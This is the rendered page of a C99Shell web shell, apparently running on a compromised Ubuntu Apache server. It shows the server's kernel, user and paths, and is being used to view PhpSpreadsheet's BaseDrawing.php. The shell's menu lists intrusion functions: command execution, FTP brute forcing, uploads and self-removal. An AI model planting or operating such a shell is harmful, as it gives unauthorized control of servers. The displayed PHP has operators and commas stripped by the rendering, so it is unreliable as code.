!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseDrawing.php (11.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Worksheet;

use 
PhpOffice\PhpSpreadsheet\Cell\Hyperlink;
use 
PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException;
use 
PhpOffice\PhpSpreadsheet\IComparable;

class 
BaseDrawing implements IComparable
{
    const 
EDIT_AS_ABSOLUTE 'absolute';
    const 
EDIT_AS_ONECELL 'oneCell';
    const 
EDIT_AS_TWOCELL 'twoCell';
    private const 
VALID_EDIT_AS = [
        
self::EDIT_AS_ABSOLUTE,
        
self::EDIT_AS_ONECELL,
        
self::EDIT_AS_TWOCELL,
    ];

    
/**
     * The editAs attribute, used only with two cell anchor.
     *
     * @var string
     */
    
protected $editAs '';

    
/**
     * Image counter.
     *
     * @var int
     */
    
private static $imageCounter 0;

    
/**
     * Image index.
     *
     * @var int
     */
    
private $imageIndex 0;

    
/**
     * Name.
     *
     * @var string
     */
    
protected $name '';

    
/**
     * Description.
     *
     * @var string
     */
    
protected $description '';

    
/**
     * Worksheet.
     *
     * @var null|Worksheet
     */
    
protected $worksheet;

    
/**
     * Coordinates.
     *
     * @var string
     */
    
protected $coordinates 'A1';

    
/**
     * Offset X.
     *
     * @var int
     */
    
protected $offsetX 0;

    
/**
     * Offset Y.
     *
     * @var int
     */
    
protected $offsetY 0;

    
/**
     * Coordinates2.
     *
     * @var string
     */
    
protected $coordinates2 '';

    
/**
     * Offset X2.
     *
     * @var int
     */
    
protected $offsetX2 0;

    
/**
     * Offset Y2.
     *
     * @var int
     */
    
protected $offsetY2 0;

    
/**
     * Width.
     *
     * @var int
     */
    
protected $width 0;

    
/**
     * Height.
     *
     * @var int
     */
    
protected $height 0;

    
/**
     * Pixel width of image. See $width for the size the Drawing will be in the sheet.
     *
     * @var int
     */
    
protected $imageWidth 0;

    
/**
     * Pixel width of image. See $height for the size the Drawing will be in the sheet.
     *
     * @var int
     */
    
protected $imageHeight 0;

    
/**
     * Proportional resize.
     *
     * @var bool
     */
    
protected $resizeProportional true;

    
/**
     * Rotation.
     *
     * @var int
     */
    
protected $rotation 0;

    
/**
     * Shadow.
     *
     * @var Drawing\Shadow
     */
    
protected $shadow;

    
/**
     * Image hyperlink.
     *
     * @var null|Hyperlink
     */
    
private $hyperlink;

    
/**
     * Image type.
     *
     * @var int
     */
    
protected $type IMAGETYPE_UNKNOWN;

    
/**
     * Create a new BaseDrawing.
     */
    
public function __construct()
    {
        
// Initialise values
        
$this->setShadow();

        
// Set image index
        
++self::$imageCounter;
        
$this->imageIndex self::$imageCounter;
    }

    public function 
getImageIndex(): int
    
{
        return 
$this->imageIndex;
    }

    public function 
getName(): string
    
{
        return 
$this->name;
    }

    public function 
setName(string $name): self
    
{
        
$this->name $name;

        return 
$this;
    }

    public function 
getDescription(): string
    
{
        return 
$this->description;
    }

    public function 
setDescription(string $description): self
    
{
        
$this->description $description;

        return 
$this;
    }

    public function 
getWorksheet(): ?Worksheet
    
{
        return 
$this->worksheet;
    }

    
/**
     * Set Worksheet.
     *
     * @param bool $overrideOld If a Worksheet has already been assigned, overwrite it and remove image from old Worksheet?
     */
    
public function setWorksheet(?Worksheet $worksheet nullbool $overrideOld false): self
    
{
        if (
$this->worksheet === null) {
            
// Add drawing to \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet
            
if ($worksheet !== null) {
                
$this->worksheet $worksheet;
                
$this->worksheet->getCell($this->coordinates);
                
$this->worksheet->getDrawingCollection()->append($this);
            }
        } else {
            if (
$overrideOld) {
                
// Remove drawing from old \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet
                
$iterator $this->worksheet->getDrawingCollection()->getIterator();

                while (
$iterator->valid()) {
                    if (
$iterator->current()->getHashCode() === $this->getHashCode()) {
                        
$this->worksheet->getDrawingCollection()->offsetUnset(/** @scrutinizer ignore-type */ $iterator->key());
                        
$this->worksheet null;

                        break;
                    }
                }

                
// Set new \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet
                
$this->setWorksheet($worksheet);
            } else {
                throw new 
PhpSpreadsheetException('A Worksheet has already been assigned. Drawings can only exist on one \\PhpOffice\\PhpSpreadsheet\\Worksheet.');
            }
        }

        return 
$this;
    }

    public function 
getCoordinates(): string
    
{
        return 
$this->coordinates;
    }

    public function 
setCoordinates(string $coordinates): self
    
{
        
$this->coordinates $coordinates;

        return 
$this;
    }

    public function 
getOffsetX(): int
    
{
        return 
$this->offsetX;
    }

    public function 
setOffsetX(int $offsetX): self
    
{
        
$this->offsetX $offsetX;

        return 
$this;
    }

    public function 
getOffsetY(): int
    
{
        return 
$this->offsetY;
    }

    public function 
setOffsetY(int $offsetY): self
    
{
        
$this->offsetY $offsetY;

        return 
$this;
    }

    public function 
getCoordinates2(): string
    
{
        return 
$this->coordinates2;
    }

    public function 
setCoordinates2(string $coordinates2): self
    
{
        
$this->coordinates2 $coordinates2;

        return 
$this;
    }

    public function 
getOffsetX2(): int
    
{
        return 
$this->offsetX2;
    }

    public function 
setOffsetX2(int $offsetX2): self
    
{
        
$this->offsetX2 $offsetX2;

        return 
$this;
    }

    public function 
getOffsetY2(): int
    
{
        return 
$this->offsetY2;
    }

    public function 
setOffsetY2(int $offsetY2): self
    
{
        
$this->offsetY2 $offsetY2;

        return 
$this;
    }

    public function 
getWidth(): int
    
{
        return 
$this->width;
    }

    public function 
setWidth(int $width): self
    
{
        
// Resize proportional?
        
if ($this->resizeProportional && $width != 0) {
            
$ratio $this->height / ($this->width != $this->width 1);
            
$this->height = (int) round($ratio $width);
        }

        
// Set width
        
$this->width $width;

        return 
$this;
    }

    public function 
getHeight(): int
    
{
        return 
$this->height;
    }

    public function 
setHeight(int $height): self
    
{
        
// Resize proportional?
        
if ($this->resizeProportional && $height != 0) {
            
$ratio $this->width / ($this->height != $this->height 1);
            
$this->width = (int) round($ratio $height);
        }

        
// Set height
        
$this->height $height;

        return 
$this;
    }

    
/**
     * Set width and height with proportional resize.
     *
     * Example:
     * <code>
     * $objDrawing->setResizeProportional(true);
     * $objDrawing->setWidthAndHeight(160,120);
     * </code>
     *
     * @author Vincent@luo MSN:kele_100@hotmail.com
     */
    
public function setWidthAndHeight(int $widthint $height): self
    
{
        
$xratio $width / ($this->width != $this->width 1);
        
$yratio $height / ($this->height != $this->height 1);
        if (
$this->resizeProportional && !($width == || $height == 0)) {
            if ((
$xratio $this->height) < $height) {
                
$this->height = (int) ceil($xratio $this->height);
                
$this->width $width;
            } else {
                
$this->width = (int) ceil($yratio $this->width);
                
$this->height $height;
            }
        } else {
            
$this->width $width;
            
$this->height $height;
        }

        return 
$this;
    }

    public function 
getResizeProportional(): bool
    
{
        return 
$this->resizeProportional;
    }

    public function 
setResizeProportional(bool $resizeProportional): self
    
{
        
$this->resizeProportional $resizeProportional;

        return 
$this;
    }

    public function 
getRotation(): int
    
{
        return 
$this->rotation;
    }

    public function 
setRotation(int $rotation): self
    
{
        
$this->rotation $rotation;

        return 
$this;
    }

    public function 
getShadow(): Drawing\Shadow
    
{
        return 
$this->shadow;
    }

    public function 
setShadow(?Drawing\Shadow $shadow null): self
    
{
        
$this->shadow $shadow ?? new Drawing\Shadow();

        return 
$this;
    }

    
/**
     * Get hash code.
     *
     * @return string Hash code
     */
    
public function getHashCode()
    {
        return 
md5(
            
$this->name .
            
$this->description .
            ((
$this->worksheet === null) ? '' $this->worksheet->getHashCode()) .
            
$this->coordinates .
            
$this->offsetX .
            
$this->offsetY .
            
$this->coordinates2 .
            
$this->offsetX2 .
            
$this->offsetY2 .
            
$this->width .
            
$this->height .
            
$this->rotation .
            
$this->shadow->getHashCode() .
            
__CLASS__
        
);
    }

    
/**
     * Implement PHP __clone to create a deep clone, not just a shallow copy.
     */
    
public function __clone()
    {
        
$vars get_object_vars($this);
        foreach (
$vars as $key => $value) {
            if (
$key == 'worksheet') {
                
$this->worksheet null;
            } elseif (
is_object($value)) {
                
$this->$key = clone $value;
            } else {
                
$this->$key $value;
            }
        }
    }

    public function 
setHyperlink(?Hyperlink $hyperlink null): void
    
{
        
$this->hyperlink $hyperlink;
    }

    public function 
getHyperlink(): ?Hyperlink
    
{
        return 
$this->hyperlink;
    }

    
/**
     * Set Fact Sizes and Type of Image.
     */
    
protected function setSizesAndType(string $path): void
    
{
        if (
$this->imageWidth === && $this->imageHeight === && $this->type === IMAGETYPE_UNKNOWN) {
            
$imageData getimagesize($path);

            if (!empty(
$imageData)) {
                
$this->imageWidth $imageData[0];
                
$this->imageHeight $imageData[1];
                
$this->type $imageData[2];
            }
        }
        if (
$this->width === && $this->height === 0) {
            
$this->width $this->imageWidth;
            
$this->height $this->imageHeight;
        }
    }

    
/**
     * Get Image Type.
     */
    
public function getType(): int
    
{
        return 
$this->type;
    }

    public function 
getImageWidth(): int
    
{
        return 
$this->imageWidth;
    }

    public function 
getImageHeight(): int
    
{
        return 
$this->imageHeight;
    }

    public function 
getEditAs(): string
    
{
        return 
$this->editAs;
    }

    public function 
setEditAs(string $editAs): self
    
{
        
$this->editAs $editAs;

        return 
$this;
    }

    public function 
validEditAs(): bool
    
{
        return 
in_array($this->editAsself::VALID_EDIT_AStrue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--